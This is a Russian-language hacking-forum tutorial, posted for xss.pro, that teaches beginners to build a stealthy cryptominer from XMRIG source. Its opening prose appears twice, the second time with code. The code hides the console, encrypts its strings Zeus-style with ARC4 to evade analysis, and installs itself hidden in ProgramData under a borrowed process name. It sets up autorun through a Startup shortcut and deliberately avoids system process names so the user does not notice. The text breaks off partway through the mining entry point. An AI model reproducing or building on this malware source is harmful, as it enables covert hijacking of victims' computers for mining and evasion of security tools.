Доброго времени суток
Я решил поделиться своим опытом написания качественного скрытого майнера с нуля, статья направлена на новичков и материал в ней будет подаваться в формате "для чайников", дабы даже начинающие кодеры могли понять содержимое.
В этой статье мы наглядно рассмотрим написание скрытого майнера с функционалом клиппера на базе проекта XMRIG, исходники которого можно найти вот здесь.
XMRIG - высокопроизводительный кросплатформенный RandomX, KawPow, CryptoNight, GhostRider криптомайнер.
Мы соберём его из исходников, внеся свои правки. Иначе говоря, напишем нужный функционал поверх исходного кода криптомайнера.
Этап 1 - Сборка
Для начала нам нужно скачать проект с github'a. Скачиваем, распаковываем его в папку по произвольному пути. В моём случае это будет D:\Projects\XssMiner:
Далее нам потребуется скачать проект xmrig-deps, файлы доступны <вот здесь>, он содержит в себе статические библиотеки, которыми пользуется XMRIG, в скомпилированном виде и заголовочные файлы к ним.
Скачиваем архив с проектом, из всего архива нас интересуют только две папки: gcc и msvc2019, их мы закидываем по пути C:\xmrig-deps. Важно отметить, что путь статичен и не может меняться без редактирования CMAKE конфига XMRIG.
После того, как зависимости распакованы переходим в папку с XMRIG, создаём подпапку build и переходим в неё через CMD. После чего вводим следую команду:
Она сгенерирует для нас солюшн Visual Studio, который мы будем использовать в разработке. Как только он появится - открываем его.
Как только мы открыли проект, будет видна следующая картина:
В решении много проектов, но нас интересует только xmrig - там и будет находиться основной код криптомайнера. Так же хочу обратить внимание на режимы сборки, всего их 4:
Пробуем собрать проект, это занимает некоторое время в связи с большим обьемом кода. Если всё прошло без ошибок - поздравляю, мы можем перейти к кодингу.
Этап 2 - Кодинг
Открываем основной файл проекта xmrig.cpp и видим main функцию:
В ней роисходит инициализация класса Process, куда передаётся массив с переданными файлу аргументами и их количество, далее этот класс передаётся в метод класса Entry, где производятся все необходимые проверки и инициализации, а под конец инициализируется класс App и вызывается его метод Exec, где и сосредоточена основная логика программы.
Первым, что мы сделаем, будет скрытие консоли. XMRIG - консольное приложение, а наш майнер должен работать скрытно от пользователя. Заходим в свойства проекта, выбираем вкладку "Компоновщик", и подвкладку "Система":
Нам интересно свойство "Подсистема". Меняем его на "Windows /SUBSYSTEM:Windows" и применяем к проекту.
Файлы кода и заголовков, которые мы напишем будут храниться в отдельных фильтрах с названиями CustomCode и CustomHeaders соответственно. Создаём эти фильтры, далее при добавлении какого-либо файла в проект, мы будем дожны создать его в поддиректории src папки xmrig и перетащить в один из фильтров.
Первым, что мы сделаем будет реализация примитивного враппера для работы с памятью, здесь всё достаточно просто - производим инициализацию, сохраняя в глобальной переменной адрес кучи, а затем обращаясь к этой переменной мы будем выполнять операции с памятью, такие как аллокация, реаллокация и её освобождение. Код прилагается:
Теперь реализуем функционал для вывода отладочных сообщений. Они нужны для упрощения тестов и быстрого выявления ошибок, мы сможем быстро понять, что пошло не так, увидев соответствующее сообщение в лог файле.
Вывод отладочных сообщений будет доступен через запись в файл и через отправку в отладочную консоль. В заголовочном файле мы создадим enum OutputTypes, где будут два значения: kDbgConsole и kFile. Выглядеть весь код будет вот так:
Здесь нет ничего интересного, пробегусь по главному: внутри функции Init проводятся необходимые инициализации в зависимости от типа вывода. Если выбран вывод в файл, открывается лог файл и инициализируется критическая секция. Критическая секция нужна для того, чтобы содержимое файла выглядело корректно при отправке отладочных логов из нескольких потоков. Функция DebugMsg принимает два параметра: текст сообщения и аргументы, которые будут подставлены в этот текст при форматировании строки. Внутри функции из переданных формируется va_list, который впоследствии и передаётся в функцию wvsprintfW из библиотеки Shlwapi.dll, в которой и происходит форматирование.
Теперь приступим к реализации шифрования строк. Оно будет сделано в стиле Zeus, принцип шифрования строк которого будет немного модифицирован. Мы автоматизируем рутину, написав пребилд скрипт. Он будет шифровать строки и генерировать файл с кодом, позволяющим быстро с помощью макросов получать доступ к искомой строке в расшифрованном виде. Сам код, который генерирует пребилд скрипт выглядит так:
Для шифрования/дешифрования строк используется алгоритм ARC4. В файле string_cryptor.cpp присутствует BLOB с данными, первые 8 байт в нём занимает уникальный ключ шифрования, который меняется при каждой рекомпиляции, а остальное место - строки. Ниже мы видем массив структур ENCRYPTED_STRING, в которых содержится информация о длине строк и смещениях к ним. Реализация алгоритма шифрования ARC4 была взята из одной из старых версий библиотеки mbedtls, скачать которую можно вот здесь.
Чтобы получить доступ к строке, будет использоваться макрос CSTR_GETW - он сделан специально для работы со строками в кодировке UNICODE. Как только работа со строкой окончена, мы будем использовать макрос CSTR_FREE, который забьёт память выделенную под строку нулями.
Как видно, код не выделяет динамическую память, место под строки резервируется на стеке посредством использования макросов.
Следующим делом мы реализуем враппер над функциями из NTDLL, они будут импортироваться динамически, лишние комментарии, я думаю, не требуются:
Теперь начнём писать логику закрепления майнера в системе. Установка майнера будет производиться в директорию в ProgramData, название которой будет формироваться динамически, с использованием серийных номеров диска пользователя. Название файла майнера так-же будет формироваться динамически, оно будет уникальным при каждой установке. Мы будем получать список процессов в системе, игнорируя системные процессы во избежание палева. Добавление в авторан будет производиться посредством создания ярлыка в папке Startup. Вот код модуля, отвечающего за закрепление в системе:
Функционал сделан, теперь заполняем точку входа, добавив защиту от повторной установки, защиту от повторного запуска (посредством использования мьютекса) и сам запуск процесса майнинга:
Параметры для майнера, как не сложно догадаться, можно передать в функции StartMining, заполнив массив строк argv. Шифрование параметров остаётся на совести читателя статьи, это не сложно сделать, вникнув в написанное выше.
Отключить отладочный вывод можно переключаяя режимы сборки: /MTd для наличия вывода, /MT для его отсутствия.
Ах, да - для работы пребилд скрипта нужно поставить модуль arc4 (pip install arc4), исходники готового проекта прилагаются ниже, пароль местный. Пользуйтесь на здоровье =)
Статья написана мной (ru_soft) специально для форума xss.pro
Я решил поделиться своим опытом написания качественного скрытого майнера с нуля, статья направлена на новичков и материал в ней будет подаваться в формате "для чайников", дабы даже начинающие кодеры могли понять содержимое.
В этой статье мы наглядно рассмотрим написание скрытого майнера с функционалом клиппера на базе проекта XMRIG, исходники которого можно найти вот здесь.
XMRIG - высокопроизводительный кросплатформенный RandomX, KawPow, CryptoNight, GhostRider криптомайнер.
Мы соберём его из исходников, внеся свои правки. Иначе говоря, напишем нужный функционал поверх исходного кода криптомайнера.
Этап 1 - Сборка
Для начала нам нужно скачать проект с github'a. Скачиваем, распаковываем его в папку по произвольному пути. В моём случае это будет D:\Projects\XssMiner:
Далее нам потребуется скачать проект xmrig-deps, файлы доступны <вот здесь>, он содержит в себе статические библиотеки, которыми пользуется XMRIG, в скомпилированном виде и заголовочные файлы к ним.
Скачиваем архив с проектом, из всего архива нас интересуют только две папки: gcc и msvc2019, их мы закидываем по пути C:\xmrig-deps. Важно отметить, что путь статичен и не может меняться без редактирования CMAKE конфига XMRIG.
После того, как зависимости распакованы переходим в папку с XMRIG, создаём подпапку build и переходим в неё через CMD. После чего вводим следую команду:
Код:
cmake .. -G "Visual Studio 17 2022" -A x64 -DXMRIG_DEPS=c:\xmrig-deps\msvc2019\x64
Она сгенерирует для нас солюшн Visual Studio, который мы будем использовать в разработке. Как только он появится - открываем его.
Как только мы открыли проект, будет видна следующая картина:
В решении много проектов, но нас интересует только xmrig - там и будет находиться основной код криптомайнера. Так же хочу обратить внимание на режимы сборки, всего их 4:
Выставляем сборку в Release, поскольку именно в этой конфигурации код криптомайнера будет скомпилирован статически и сможет работать на "голых" сборах ОС, не требуя кучи зависимостей.Debug
MinSizeRel
Release
RelWithDebInfo
Пробуем собрать проект, это занимает некоторое время в связи с большим обьемом кода. Если всё прошло без ошибок - поздравляю, мы можем перейти к кодингу.
Этап 2 - Кодинг
Открываем основной файл проекта xmrig.cpp и видим main функцию:
В ней роисходит инициализация класса Process, куда передаётся массив с переданными файлу аргументами и их количество, далее этот класс передаётся в метод класса Entry, где производятся все необходимые проверки и инициализации, а под конец инициализируется класс App и вызывается его метод Exec, где и сосредоточена основная логика программы.
Первым, что мы сделаем, будет скрытие консоли. XMRIG - консольное приложение, а наш майнер должен работать скрытно от пользователя. Заходим в свойства проекта, выбираем вкладку "Компоновщик", и подвкладку "Система":
Нам интересно свойство "Подсистема". Меняем его на "Windows /SUBSYSTEM:Windows" и применяем к проекту.
Файлы кода и заголовков, которые мы напишем будут храниться в отдельных фильтрах с названиями CustomCode и CustomHeaders соответственно. Создаём эти фильтры, далее при добавлении какого-либо файла в проект, мы будем дожны создать его в поддиректории src папки xmrig и перетащить в один из фильтров.
Первым, что мы сделаем будет реализация примитивного враппера для работы с памятью, здесь всё достаточно просто - производим инициализацию, сохраняя в глобальной переменной адрес кучи, а затем обращаясь к этой переменной мы будем выполнять операции с памятью, такие как аллокация, реаллокация и её освобождение. Код прилагается:
C:
#include "memory.h"
namespace Memory {
HANDLE heap_handle = 0;
BOOL Init() {
heap_handle = GetProcessHeap();
if (heap_handle)
return TRUE;
return FALSE;
}
PVOID Alloc(DWORD size) {
return HeapAlloc(heap_handle, HEAP_ZERO_MEMORY, size);
}
PVOID ReAlloc(PVOID ptr, DWORD size) {
return HeapReAlloc(heap_handle, HEAP_ZERO_MEMORY, ptr, size);
}
BOOL Free(PVOID ptr) {
return HeapFree(heap_handle, 0, ptr);
}
}
Теперь реализуем функционал для вывода отладочных сообщений. Они нужны для упрощения тестов и быстрого выявления ошибок, мы сможем быстро понять, что пошло не так, увидев соответствующее сообщение в лог файле.
Вывод отладочных сообщений будет доступен через запись в файл и через отправку в отладочную консоль. В заголовочном файле мы создадим enum OutputTypes, где будут два значения: kDbgConsole и kFile. Выглядеть весь код будет вот так:
C:
#pragma once
#include <Windows.h>
#ifdef _DEBUG
#define DBGPRINT(message, ...) \
Debug::DebugMsg(message, __VA_ARGS__);
#else
#define DBGPRINT(message, ...) \
Debug::DebugMsg(message, __VA_ARGS__);
#endif
namespace Debug {
enum OutputTypes {
kDbgConsole,
kFile
};
BOOL Initialize(OutputTypes type);
VOID DebugMsg(LPWSTR message_text, ...);
}
C:
#include "dbg.h"
#include <Shlwapi.h>
namespace Debug {
OutputTypes output_type;
CRITICAL_SECTION CS = { 0 };
HANDLE dbg_file_handle = 0;
BOOL Initialize(OutputTypes type) {
output_type = type;
if (type == OutputTypes::kFile) {
InitializeCriticalSection(&CS);
dbg_file_handle = CreateFileW(L"C:\\ProgramData\\xssminer.log", GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, 0);
if (dbg_file_handle == INVALID_HANDLE_VALUE) {
return FALSE;
}
WORD bom = 0xFEFF;
DWORD written = 0;
WriteFile(dbg_file_handle, &bom, sizeof(bom), &written, NULL);
}
return TRUE;
}
VOID OutToDbg(LPWSTR message_text, va_list args) {
WCHAR dbg_message[1025] = { 0 };
wvsprintfW(dbg_message, message_text, args);
OutputDebugStringW(dbg_message);
}
VOID OutToFile(LPWSTR message_text, va_list args) {
EnterCriticalSection(&CS);
WCHAR dbg_message[1025] = { 0 };
int char_count = wvsprintfW(dbg_message, message_text, args);
DWORD written = 0;
WriteFile(dbg_file_handle, dbg_message, char_count * 2, &written, nullptr);
WriteFile(dbg_file_handle, L"\r\n", 4, &written, nullptr);
LeaveCriticalSection(&CS);
}
VOID DebugMsg(LPWSTR message_text, ...) {
va_list args = nullptr;
va_start(args, message_text);
switch (output_type) {
case OutputTypes::kDbgConsole:
OutToDbg(message_text, args);
case OutputTypes::kFile:
OutToFile(message_text, args);
default:
break;
}
va_end(args);
}
}
Здесь нет ничего интересного, пробегусь по главному: внутри функции Init проводятся необходимые инициализации в зависимости от типа вывода. Если выбран вывод в файл, открывается лог файл и инициализируется критическая секция. Критическая секция нужна для того, чтобы содержимое файла выглядело корректно при отправке отладочных логов из нескольких потоков. Функция DebugMsg принимает два параметра: текст сообщения и аргументы, которые будут подставлены в этот текст при форматировании строки. Внутри функции из переданных формируется va_list, который впоследствии и передаётся в функцию wvsprintfW из библиотеки Shlwapi.dll, в которой и происходит форматирование.
Теперь приступим к реализации шифрования строк. Оно будет сделано в стиле Zeus, принцип шифрования строк которого будет немного модифицирован. Мы автоматизируем рутину, написав пребилд скрипт. Он будет шифровать строки и генерировать файл с кодом, позволяющим быстро с помощью макросов получать доступ к искомой строке в расшифрованном виде. Сам код, который генерирует пребилд скрипт выглядит так:
C:
#pragma once
#include <Windows.h>
#define CSTR_GETW(id, name) \
WCHAR name[StringCryptor::len_##id] = { 0 }; \
StringCryptor::DecryptString(name, StringCryptor::id_##id);
#define CSTR_FREE(name) \
memset(name, 0, sizeof(name));
namespace StringCryptor {
typedef struct _ENCRYPTED_STRING {
DWORD offset;
DWORD length;
} *PENCRYPTED_STRING, ENCRYPTED_STRING;
enum {
id_homedrive_env,
id_programdata_env,
id_install_dir_format,
id_system_,
id_registry,
id_memory_compression,
id_svchost,
id_dllhost,
id_explorer,
id_csrss,
id_lsass,
id_smss,
id_fontdrvhost,
id_wudfhost,
id_shortcut_path_env,
};
enum {
len_homedrive_env = 24,
len_programdata_env = 26,
len_install_dir_format = 30,
len_system_ = 12,
len_registry = 16,
len_memory_compression = 36,
len_svchost = 22,
len_dllhost = 22,
len_explorer = 24,
len_csrss = 18,
len_lsass = 18,
len_smss = 16,
len_fontdrvhost = 30,
len_wudfhost = 24,
len_shortcut_path_env = 136,
};
VOID DecryptString(PVOID destination, DWORD index);
}
C:
#include "string_cryptor.h"
#include "arc4.h"
namespace StringCryptor {
byte blob_with_strings[] = {
0x9a, 0x4, 0xa2, 0xaf, 0x28, 0x7e, 0x6f, 0xb,
0x6, 0x27, 0x9d, 0x7f, 0x8e, 0xb2, 0xc6, 0xb6, 0x8b, 0x3b, 0x8d, 0xe3, 0xc0, 0xc5, 0x28, 0x1, 0x7d, 0x7b, 0xcc, 0xa, 0x29, 0x14, 0xfc, 0xdd,
0x6, 0x27, 0x85, 0x7f, 0x93, 0xb2, 0xc4, 0xb6, 0x89, 0x3b, 0x9b, 0xe3, 0xd3, 0xc5, 0x2c, 0x1, 0x6f, 0x7b, 0xc8, 0xa, 0x58, 0x14, 0xe1, 0xdd, 0x8a, 0xf6,
0x6, 0x27, 0xa6, 0x7f, 0x9d, 0xb2, 0xae, 0xb6, 0xfe, 0x3b, 0xfb, 0xe3, 0xea, 0xc5, 0x44, 0x1, 0x1b, 0x7b, 0xbb, 0xa, 0x74, 0x14, 0x85, 0xdd, 0x9f, 0xf6, 0xcf, 0x86, 0xc, 0x4a,
0x70, 0x27, 0xac, 0x7f, 0xb2, 0xb2, 0xff, 0xb6, 0xab, 0x3b, 0xa4, 0xe3,
0x71, 0x27, 0xb0, 0x7f, 0xa6, 0xb2, 0xe2, 0xb6, 0xbd, 0x3b, 0xbd, 0xe3, 0xe0, 0xc5, 0x18, 0x1,
0x6e, 0x27, 0xb0, 0x7f, 0xac, 0xb2, 0xe4, 0xb6, 0xbc, 0x3b, 0xb0, 0xe3, 0xb2, 0xc5, 0x22, 0x1, 0x44, 0x7b, 0xe4, 0xa, 0x7c, 0x14, 0xd2, 0xdd, 0xca, 0xf6, 0x8e, 0x86, 0x7, 0x4a, 0xd7, 0xee, 0x8f, 0x6f, 0xc8, 0x7d,
0x50, 0x27, 0xa3, 0x7f, 0xa2, 0xb2, 0xe3, 0xb6, 0xa1, 0x3b, 0xba, 0xe3, 0xe6, 0xc5, 0x4f, 0x1, 0x4e, 0x7b, 0xf1, 0xa, 0x69, 0x14,
0x47, 0x27, 0xb9, 0x7f, 0xad, 0xb2, 0xe3, 0xb6, 0xa1, 0x3b, 0xba, 0xe3, 0xe6, 0xc5, 0x4f, 0x1, 0x4e, 0x7b, 0xf1, 0xa, 0x69, 0x14,
0x46, 0x27, 0xad, 0x7f, 0xb1, 0xb2, 0xe7, 0xb6, 0xa1, 0x3b, 0xbb, 0xe3, 0xf7, 0xc5, 0x13, 0x1, 0x5, 0x7b, 0xec, 0xa, 0x74, 0x14, 0xc5, 0xdd,
0x40, 0x27, 0xa6, 0x7f, 0xb3, 0xb2, 0xf8, 0xb6, 0xbd, 0x3b, 0xe7, 0xe3, 0xf7, 0xc5, 0x19, 0x1, 0x4e, 0x7b,
0x4f, 0x27, 0xa6, 0x7f, 0xa0, 0xb2, 0xf8, 0xb6, 0xbd, 0x3b, 0xe7, 0xe3, 0xf7, 0xc5, 0x19, 0x1, 0x4e, 0x7b,
0x50, 0x27, 0xb8, 0x7f, 0xb2, 0xb2, 0xf8, 0xb6, 0xe0, 0x3b, 0xac, 0xe3, 0xea, 0xc5, 0x4, 0x1,
0x45, 0x27, 0xba, 0x7f, 0xaf, 0xb2, 0xff, 0xb6, 0xaa, 0x3b, 0xbb, 0xe3, 0xe4, 0xc5, 0x9, 0x1, 0x44, 0x7b, 0xfa, 0xa, 0x78, 0x14, 0x8e, 0xdd, 0xca, 0xf6, 0x85, 0x86, 0x11, 0x4a,
0x74, 0x27, 0x80, 0x7f, 0x85, 0xb2, 0xcd, 0xb6, 0x86, 0x3b, 0xa6, 0xe3, 0xe1, 0xc5, 0x15, 0x1, 0x5, 0x7b, 0xec, 0xa, 0x74, 0x14, 0xc5, 0xdd,
0x6, 0x27, 0x94, 0x7f, 0x91, 0xb2, 0xdb, 0xb6, 0x8a, 0x3b, 0x88, 0xe3, 0xc6, 0xc5, 0x20, 0x1, 0xe, 0x7b, 0xd5, 0xa, 0x5b, 0x14, 0xc9, 0xdd, 0xc1, 0xf6, 0x99, 0x86, 0x1b, 0x4a, 0xc9, 0xee, 0x93, 0x6f, 0xfa, 0x7d, 0x9, 0xaa, 0x29, 0xa4, 0xbc, 0x52, 0xfa, 0xb0, 0xb3, 0xbe, 0x14, 0x34, 0xe0, 0x7f, 0x8, 0x43, 0xc0, 0x20, 0xd, 0x72, 0x19, 0x6b, 0x3b, 0x70, 0x7d, 0x1c, 0x4b, 0xfb, 0x26, 0xa0, 0x79, 0x4a, 0x89, 0x8e, 0xd, 0x23, 0xc0, 0x51, 0xb2, 0x54, 0xbb, 0xa6, 0x76, 0x91, 0xc6, 0x27, 0xc8, 0x3, 0xb7, 0x6b, 0xd8, 0xe6, 0x6c, 0x3a, 0xd9, 0x96, 0x39, 0x85, 0x9b, 0xb7, 0x3e, 0xcb, 0x5c, 0xac, 0xc1, 0xb0, 0x21, 0xd2, 0xec, 0xd3, 0x4d, 0xa6, 0x13, 0xf6, 0x5f, 0x30, 0xd4, 0x18, 0x66, 0x1f, 0xde, 0x2b, 0xe2, 0x5e, 0x7a, 0x85, 0xb4, 0x8, 0xb7, 0x9c, 0x57, 0xfb, 0x4a, 0xe0, 0x14, 0x8, 0x4b, 0xdd, 0x87, 0x8f,
};
ENCRYPTED_STRING encrypted_strings[] = {
{ 8, 24 },
{ 32, 26 },
{ 58, 30 },
{ 88, 12 },
{ 100, 16 },
{ 116, 36 },
{ 152, 22 },
{ 174, 22 },
{ 196, 24 },
{ 220, 18 },
{ 238, 18 },
{ 256, 16 },
{ 272, 30 },
{ 302, 24 },
{ 326, 136 },
};
VOID DecryptString(PVOID destination, DWORD index) {
PENCRYPTED_STRING encrypted_string = &encrypted_strings[index];
ARC4::mbedtls_arc4_context ctx = { 0 };
ARC4::mbedtls_arc4_setup(&ctx, blob_with_strings, 8);
ARC4::mbedtls_arc4_crypt(&ctx, encrypted_string->length, blob_with_strings + encrypted_string->offset, (PBYTE)destination);
}
}
Для шифрования/дешифрования строк используется алгоритм ARC4. В файле string_cryptor.cpp присутствует BLOB с данными, первые 8 байт в нём занимает уникальный ключ шифрования, который меняется при каждой рекомпиляции, а остальное место - строки. Ниже мы видем массив структур ENCRYPTED_STRING, в которых содержится информация о длине строк и смещениях к ним. Реализация алгоритма шифрования ARC4 была взята из одной из старых версий библиотеки mbedtls, скачать которую можно вот здесь.
Чтобы получить доступ к строке, будет использоваться макрос CSTR_GETW - он сделан специально для работы со строками в кодировке UNICODE. Как только работа со строкой окончена, мы будем использовать макрос CSTR_FREE, который забьёт память выделенную под строку нулями.
Как видно, код не выделяет динамическую память, место под строки резервируется на стеке посредством использования макросов.
Следующим делом мы реализуем враппер над функциями из NTDLL, они будут импортироваться динамически, лишние комментарии, я думаю, не требуются:
C:
#pragma once
#include <Windows.h>
namespace Ntdll {
BOOL Init();
ULONG RtlRandomEx(PULONG seed);
}
C:
#include "ntdll.h"
namespace Ntdll {
HMODULE ntdll_handle = 0;
BOOL Init() {
ntdll_handle = GetModuleHandleW(L"ntdll.dll");
if (ntdll_handle)
return TRUE;
return FALSE;
}
ULONG RtlRandomEx(PULONG seed) {
typedef ULONG(__stdcall* xRtlRandomEx)(PULONG Seed);
static xRtlRandomEx pRtlRandomEx = nullptr;
if (!pRtlRandomEx)
pRtlRandomEx = (xRtlRandomEx)GetProcAddress(ntdll_handle, "RtlRandomEx");
return pRtlRandomEx(seed);
}
}
Теперь начнём писать логику закрепления майнера в системе. Установка майнера будет производиться в директорию в ProgramData, название которой будет формироваться динамически, с использованием серийных номеров диска пользователя. Название файла майнера так-же будет формироваться динамически, оно будет уникальным при каждой установке. Мы будем получать список процессов в системе, игнорируя системные процессы во избежание палева. Добавление в авторан будет производиться посредством создания ярлыка в папке Startup. Вот код модуля, отвечающего за закрепление в системе:
C:
#pragma once
#include <Windows.h>
namespace Persistence {
BOOL GetInstallDirectory(LPWSTR destination);
BOOL GetProcessList(LPWSTR** process_list, DWORD* process_count);
BOOL GetInstallPath(LPWSTR destination, LPCWSTR install_directory);
BOOL Install(LPCWSTR current_path, LPCWSTR install_directory);
}
C:
#include "persistence.h"
#include "string_cryptor.h"
#include "dbg.h"
#include "memory.h"
#include "ntdll.h"
#include "utils.h"
#include <TlHelp32.h>
#include <ShObjIdl.h>
namespace Persistence {
BOOL GetInstallDirectory(LPWSTR destination) {
BOOL ret = FALSE;
CSTR_GETW(homedrive_env, homedrive_env_str);
CSTR_GETW(programdata_env, programdata_env_str);
CSTR_GETW(install_dir_format, install_dir_format_str);
do
{
WCHAR homedrive[4] = { 0 };
if (!ExpandEnvironmentStringsW(homedrive_env_str, homedrive, 4)) {
DBGPRINT(L"File %s, line %d, ExpandEnvironmentStringsW error %d", __FILEW__, __LINE__, GetLastError());
break;
}
DWORD volume_serial = 0;
if (!GetVolumeInformationW(homedrive, nullptr, 0, &volume_serial, nullptr, nullptr, nullptr, 0)) {
DBGPRINT(L"File %s, line %d, GetVolumeInformationW error %d", __FILEW__, __LINE__, GetLastError());
break;
}
WCHAR programdata[MAX_PATH] = { 0 };
if (!ExpandEnvironmentStringsW(programdata_env_str, programdata, MAX_PATH)) {
DBGPRINT(L"File %s, line %d, ExpandEnvironmentStringsW error %d", __FILEW__, __LINE__, GetLastError());
break;
}
wsprintfW(destination, install_dir_format_str, programdata, volume_serial ^ 0xD2, volume_serial ^ 0x690, volume_serial ^ 0xF5);
ret = TRUE;
} while (FALSE);
CSTR_FREE(homedrive_env_str);
CSTR_FREE(programdata_env_str);
CSTR_FREE(install_dir_format_str);
return ret;
}
BOOL GetProcessList(LPWSTR** process_list, DWORD* process_count) {
BOOL result = FALSE;
HANDLE snapshot_handle = 0;
CSTR_GETW(system_, system_str);
CSTR_GETW(registry, registry_str);
CSTR_GETW(memory_compression, memory_compression_str);
CSTR_GETW(svchost, svchost_str);
CSTR_GETW(dllhost, dllhost_str);
CSTR_GETW(explorer, explorer_str);
CSTR_GETW(csrss, csrss_str);
CSTR_GETW(lsass, lsass_str);
CSTR_GETW(smss, smss_str);
CSTR_GETW(fontdrvhost, fontdrvhost_str);
CSTR_GETW(wudfhost, wudfhost_str);
do {
snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_handle == INVALID_HANDLE_VALUE) {
DBGPRINT(L"File %s, line %d, CreateToolhelp32Snapshot error %d", __FILEW__, __LINE__, GetLastError());
break;
}
PROCESSENTRY32W process_entry = { 0 };
process_entry.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(snapshot_handle, &process_entry)) {
DBGPRINT(L"File %s, line %d, Process32FirstW error %d", __FILEW__, __LINE__, GetLastError());
break;
}
*process_list = (LPWSTR*)Memory::Alloc(sizeof(LPWSTR));
if (!*process_list) {
DBGPRINT(L"File %s, line %d, alloc error %d", __FILEW__, __LINE__, GetLastError());
break;
}
while (Process32NextW(snapshot_handle, &process_entry)) {
if (lstrcmpiW(process_entry.szExeFile, system_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, registry_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, memory_compression_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, svchost_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, dllhost_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, explorer_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, csrss_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, lsass_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, smss_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, fontdrvhost_str) == 0 ||
lstrcmpiW(process_entry.szExeFile, wudfhost_str) == 0) {
continue;
}
LPWSTR* temp_list = (LPWSTR*)Memory::ReAlloc(*process_list, sizeof(LPWSTR) * (*process_count + 1));
if (!temp_list) {
DBGPRINT(L"File %s, line %d, realloc error %d", __FILEW__, __LINE__, GetLastError());
break;
}
*process_list = temp_list;
(*process_list)[*process_count] = (LPWSTR)Memory::Alloc(sizeof(WCHAR) * (lstrlenW(process_entry.szExeFile) + 1));
if (!(*process_list)[*process_count]) {
DBGPRINT(L"File %s, line %d, alloc error %d", __FILEW__, __LINE__, GetLastError());
break;
}
lstrcpyW((*process_list)[*process_count], process_entry.szExeFile);
(*process_count)++;
}
result = TRUE;
} while (FALSE);
if (snapshot_handle) {
CloseHandle(snapshot_handle);
}
CSTR_FREE(system_str);
CSTR_FREE(registry_str);
CSTR_FREE(memory_compression_str);
CSTR_FREE(svchost_str);
CSTR_FREE(dllhost_str);
CSTR_FREE(explorer_str);
CSTR_FREE(csrss_str);
CSTR_FREE(lsass_str);
CSTR_FREE(smss_str);
CSTR_FREE(fontdrvhost_str);
CSTR_FREE(wudfhost_str);
return result;
}
VOID GetInstallFileName(LPWSTR destination, LPWSTR* process_list, DWORD process_count) {
ULONG seed = GetTickCount();
lstrcpyW(destination, process_list[Ntdll::RtlRandomEx(&seed) % process_count]);
}
BOOL GetInstallPath(LPWSTR destination, LPCWSTR install_directory) {
BOOL result = FALSE;
LPWSTR* process_list = nullptr;
DWORD process_count = 0;
do
{
if (!GetProcessList(&process_list, &process_count)) {
DBGPRINT(L"File %s, line %d, GetProcessList error %d", __FILEW__, __LINE__, GetLastError());
break;
}
WCHAR install_file_name[MAX_PATH] = { 0 };
GetInstallFileName(install_file_name, process_list, process_count);
wsprintfW(destination, L"%s\\%s", install_directory, install_file_name);
result = TRUE;
} while (FALSE);
if (process_count) {
for (DWORD i = 0; i < process_count; i++) {
Memory::Free(process_list[i]);
}
Memory::Free(process_list);
}
return result;
}
BOOL CreateShortcut(LPCWSTR file_path, LPCWSTR shortcut_path) {
BOOL result = FALSE;
IShellLinkW* shell_link = nullptr;
IPersistFile* persist_file = nullptr;
do {
if (FAILED(CoCreateInstance(CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&shell_link))) {
DBGPRINT(L"File %s, line %d, CoCreateInstance error %d", __FILEW__, __LINE__, GetLastError());
break;
}
if (FAILED(shell_link->SetPath(file_path))) {
DBGPRINT(L"File %s, line %d, shell_link->SetPath error %d", __FILEW__, __LINE__, GetLastError());
break;
}
if (FAILED(shell_link->QueryInterface(IID_IPersistFile, (LPVOID*)&persist_file))) {
DBGPRINT(L"File %s, line %d, shell_link->QueryInterface error %d", __FILEW__, __LINE__, GetLastError());
break;
}
if (FAILED(persist_file->Save((LPCOLESTR)shortcut_path, FALSE))) {
DBGPRINT(L"File %s, line %d, persist_file->Save error %d", __FILEW__, __LINE__, GetLastError());
break;
}
result = TRUE;
} while (FALSE);
if (shell_link)
shell_link->Release();
if (persist_file)
persist_file->Release();
return result;
}
BOOL AddAutorun(LPWSTR file_path) {
BOOL result = FALSE;
CSTR_GETW(shortcut_path_env, shortcut_path_env_str);
do {
WCHAR shortcut_path[1025] = { 0 };
if (!ExpandEnvironmentStringsW(shortcut_path_env_str, shortcut_path, 1024)) {
DBGPRINT(L"File %s, line %d, ExpandEnvironmentStringsW error %d", __FILEW__, __LINE__, GetLastError());
break;
}
if (!CreateShortcut(file_path, shortcut_path)) {
DBGPRINT(L"File %s, line %d, CreateShortcut error %d", __FILEW__, __LINE__, GetLastError());
break;
}
result = TRUE;
} while (FALSE);
CSTR_FREE(shortcut_path_env_str);
return result;
}
BOOL Install(LPCWSTR current_path, LPCWSTR install_directory) {
BOOL result = FALSE;
do {
if (!CreateDirectoryW(install_directory, nullptr)) {
DBGPRINT(L"File %s, line %d, CreateDirectoryW error %d", __FILEW__, __LINE__, GetLastError());
break;
}
WCHAR install_path[1025] = { 0 };
if (!GetInstallPath(install_path, install_directory)) {
DBGPRINT(L"File %s, line %d, GetInstallPath error %d", __FILEW__, __LINE__, GetLastError());
break;
}
if (!Utils::mCopyFile(current_path, install_path)) {
DBGPRINT(L"File %s, line %d, Utils::mCopyFile error %d", __FILEW__, __LINE__, GetLastError());
break;
}
if (!SetFileAttributesW(install_directory, FILE_ATTRIBUTE_HIDDEN) ||
!SetFileAttributesW(install_path, FILE_ATTRIBUTE_HIDDEN)) {
DBGPRINT(L"File %s, line %d, SetFileAttributesW error %d", __FILEW__, __LINE__, GetLastError());
break;
}
if (!AddAutorun(install_path)) {
DBGPRINT(L"File %s, line %d, AddAutorun error %d", __FILEW__, __LINE__, GetLastError());
break;
}
result = TRUE;
} while (FALSE);
return result;
}
}
Функционал сделан, теперь заполняем точку входа, добавив защиту от повторной установки, защиту от повторного запуска (посредством использования мьютекса) и сам запуск процесса майнинга:
C:
VOID StartMining() {
HANDLE mutex_handle = CreateMutexW(nullptr, FALSE, L"my-soft-mutex");
